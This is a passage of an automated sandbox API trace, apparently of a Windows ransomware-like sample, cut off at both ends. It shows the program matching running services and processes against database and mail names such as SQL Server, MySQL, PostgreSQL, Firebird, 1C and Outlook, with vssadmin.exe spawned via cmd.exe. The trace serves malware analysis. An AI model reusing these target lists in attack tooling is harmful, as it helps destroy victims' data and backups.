[0213.549] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0213.549] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0213.549] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0213.549] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0213.549] lstrlenW (lpString="VSS") returned 3 [0213.549] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0213.549] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0213.549] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0213.549] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0213.549] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0213.549] lstrlenW (lpString="WdiServiceHost") returned 14 [0213.549] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0213.549] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0213.549] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0213.549] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0213.549] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0213.549] lstrlenW (lpString="WdiSystemHost") returned 13 [0213.549] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0213.549] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0213.549] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0213.549] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0213.549] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0213.549] lstrlenW (lpString="WinDefend") returned 9 [0213.549] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0213.549] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0213.549] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0213.549] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0213.549] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0213.549] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0213.550] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0213.550] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0213.550] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0213.550] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0213.550] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0213.550] lstrlenW (lpString="Winmgmt") returned 7 [0213.550] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0213.550] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0213.550] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0213.550] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0213.550] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0213.550] lstrlenW (lpString="wscsvc") returned 6 [0213.550] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0213.550] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0213.550] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0213.550] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0213.550] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0213.550] lstrlenW (lpString="wuauserv") returned 8 [0213.550] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0213.550] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0213.550] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0213.550] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0213.550] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0213.550] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3f06078 | out: hHeap=0x4f0000) returned 1 [0213.550] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1f4 [0213.552] Process32FirstW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0213.553] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0213.554] lstrlenW (lpString="System") returned 6 [0213.554] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0213.554] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0213.554] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0213.554] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0213.554] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0213.554] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0213.554] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0213.554] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0213.555] lstrlenW (lpString="smss.exe") returned 8 [0213.555] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0213.555] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0213.555] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0213.557] lstrlenW (lpString="csrss.exe") returned 9 [0213.557] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0213.557] lstrlenW (lpString="wininit.exe") returned 11 [0213.558] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0213.558] lstrlenW (lpString="csrss.exe") returned 9 [0213.558] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0213.559] lstrlenW (lpString="winlogon.exe") returned 12 [0213.559] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0213.560] lstrlenW (lpString="services.exe") returned 12 [0213.560] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0213.561] lstrlenW (lpString="lsass.exe") returned 9 [0213.561] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0213.561] lstrlenW (lpString="lsm.exe") returned 7 [0213.561] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.562] lstrlenW (lpString="svchost.exe") returned 11 [0213.562] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.563] lstrlenW (lpString="svchost.exe") returned 11 [0213.563] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.564] lstrlenW (lpString="svchost.exe") returned 11 [0213.564] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.565] lstrlenW (lpString="svchost.exe") returned 11 [0213.565] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.565] lstrlenW (lpString="svchost.exe") returned 11 [0213.565] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0213.566] lstrlenW (lpString="audiodg.exe") returned 11 [0213.566] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.567] lstrlenW (lpString="svchost.exe") returned 11 [0213.567] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.568] lstrlenW (lpString="svchost.exe") returned 11 [0213.568] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0213.569] lstrlenW (lpString="dwm.exe") returned 7 [0213.569] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0213.569] lstrlenW (lpString="explorer.exe") returned 12 [0213.569] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0213.570] lstrlenW (lpString="spoolsv.exe") returned 11 [0213.570] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0213.571] lstrlenW (lpString="taskhost.exe") returned 12 [0213.571] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.572] lstrlenW (lpString="svchost.exe") returned 11 [0213.572] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0213.572] lstrlenW (lpString="taskeng.exe") returned 11 [0213.572] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0213.573] lstrlenW (lpString="taskhost.exe") returned 12 [0213.573] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mineralshopefullyelectronics.exe")) returned 1 [0213.574] lstrlenW (lpString="mineralshopefullyelectronics.exe") returned 32 [0213.574] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ambientmanufacturers.exe")) returned 1 [0213.575] lstrlenW (lpString="ambientmanufacturers.exe") returned 24 [0213.575] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="secretaryscientist.exe")) returned 1 [0213.576] lstrlenW (lpString="secretaryscientist.exe") returned 22 [0213.576] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="musicians_tones_dramatic.exe")) returned 1 [0213.577] lstrlenW (lpString="musicians_tones_dramatic.exe") returned 28 [0213.577] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="always_winds.exe")) returned 1 [0213.578] lstrlenW (lpString="always_winds.exe") returned 16 [0213.578] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="heatednetworkingaddress.exe")) returned 1 [0213.578] lstrlenW (lpString="heatednetworkingaddress.exe") returned 27 [0213.578] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="complexity forward jo.exe")) returned 1 [0213.579] lstrlenW (lpString="complexity forward jo.exe") returned 25 [0213.579] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="allow_internship_stands.exe")) returned 1 [0213.580] lstrlenW (lpString="allow_internship_stands.exe") returned 27 [0213.580] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="alienwed.exe")) returned 1 [0213.581] lstrlenW (lpString="alienwed.exe") returned 12 [0213.581] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="decent-wind-tuition.exe")) returned 1 [0213.582] lstrlenW (lpString="decent-wind-tuition.exe") returned 23 [0213.582] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="warriorpayroll.exe")) returned 1 [0213.582] lstrlenW (lpString="warriorpayroll.exe") returned 18 [0213.582] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mp beginners.exe")) returned 1 [0213.583] lstrlenW (lpString="mp beginners.exe") returned 16 [0213.583] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="theorem mo ol.exe")) returned 1 [0213.584] lstrlenW (lpString="theorem mo ol.exe") returned 17 [0213.584] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="proposition-photos-juvenile.exe")) returned 1 [0213.585] lstrlenW (lpString="proposition-photos-juvenile.exe") returned 31 [0213.585] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="harassment.exe")) returned 1 [0213.586] lstrlenW (lpString="harassment.exe") returned 14 [0213.586] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="francis-communication.exe")) returned 1 [0213.587] lstrlenW (lpString="francis-communication.exe") returned 25 [0213.587] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="gccinformational.exe")) returned 1 [0213.588] lstrlenW (lpString="gccinformational.exe") returned 20 [0213.588] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="diploma.exe")) returned 1 [0213.588] lstrlenW (lpString="diploma.exe") returned 11 [0213.589] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="screenshots-mistress.exe")) returned 1 [0213.589] lstrlenW (lpString="screenshots-mistress.exe") returned 24 [0213.590] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x810, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0213.590] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0213.590] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.591] lstrlenW (lpString="svchost.exe") returned 11 [0213.591] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x928, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0213.592] lstrlenW (lpString="sppsvc.exe") returned 10 [0213.592] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0213.593] lstrlenW (lpString="svchost.exe") returned 11 [0213.593] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="qnuriy.exe")) returned 1 [0213.594] lstrlenW (lpString="qnuriy.exe") returned 10 [0213.594] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb5c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0213.594] lstrlenW (lpString="cmd.exe") returned 7 [0213.594] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0213.595] lstrlenW (lpString="conhost.exe") returned 11 [0213.595] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xb70, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0213.596] lstrlenW (lpString="vssadmin.exe") returned 12 [0213.596] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0213.596] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0213.596] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0213.597] lstrlenW (lpString="VSSVC.exe") returned 9 [0213.597] Process32NextW (in: hSnapshot=0x1f4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0 [0213.598] CloseHandle (hObject=0x1f4) returned 1 [0213.598] Sleep (dwMilliseconds=0x1f4) [0214.113] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x570150 [0214.116] EnumServicesStatusExW (in: hSCManager=0x570150, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0) returned 0 [0214.116] GetLastError () returned 0xea [0214.116] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x13a6) returned 0x3f06078 [0214.116] EnumServicesStatusExW (in: hSCManager=0x570150, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3f06078, cbBufSize=0x13a6, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3f06078, 